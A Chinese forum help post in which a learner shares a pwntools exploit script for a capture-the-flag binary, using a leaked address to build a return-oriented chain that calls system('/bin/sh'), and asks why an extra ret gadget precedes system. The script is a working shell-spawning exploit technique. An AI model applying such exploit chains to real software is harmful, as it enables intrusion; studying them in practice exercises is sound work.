-
-
未解决
[求助]求大佬帮忙解释一个疑问
-
发表于:
2023-10-8 22:15
3863
-
from pwn import *
#sh =remote("127.0.0.1",12014)
sh = process("./pwn")
context.arch='amd64'
elf = ELF("./pwn")
sh.recvuntil(b"0x")
leak = int(sh.recvline()[:-1],16)
vul_addr_pie = elf.symbols["vuln"]
base_addr = leak - vul_addr_pie
sys_addr = base_addr + elf.plt["system"]
bin_sh_addr = base_addr + 0x4010
pop_rdi_pie=0x1323
pop_rdi_ret = base_addr+pop_rdi_pie
ret = base_addr+0x128d //ret是真实地址,0x128d是ida分析中vuln函数的结尾处retn指令地址
payload = flat([b'a'*0x58,pop_rdi_ret,bin_sh_addr,ret,sys_addr])
sh.sendline(payload)
sh.interactive()
payload有一个疑问,为什么在bin_sh_addr后填充一个retn的指令,而不是直接填写sys_addr,或者是填充垃圾数据,这与什么有关?
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)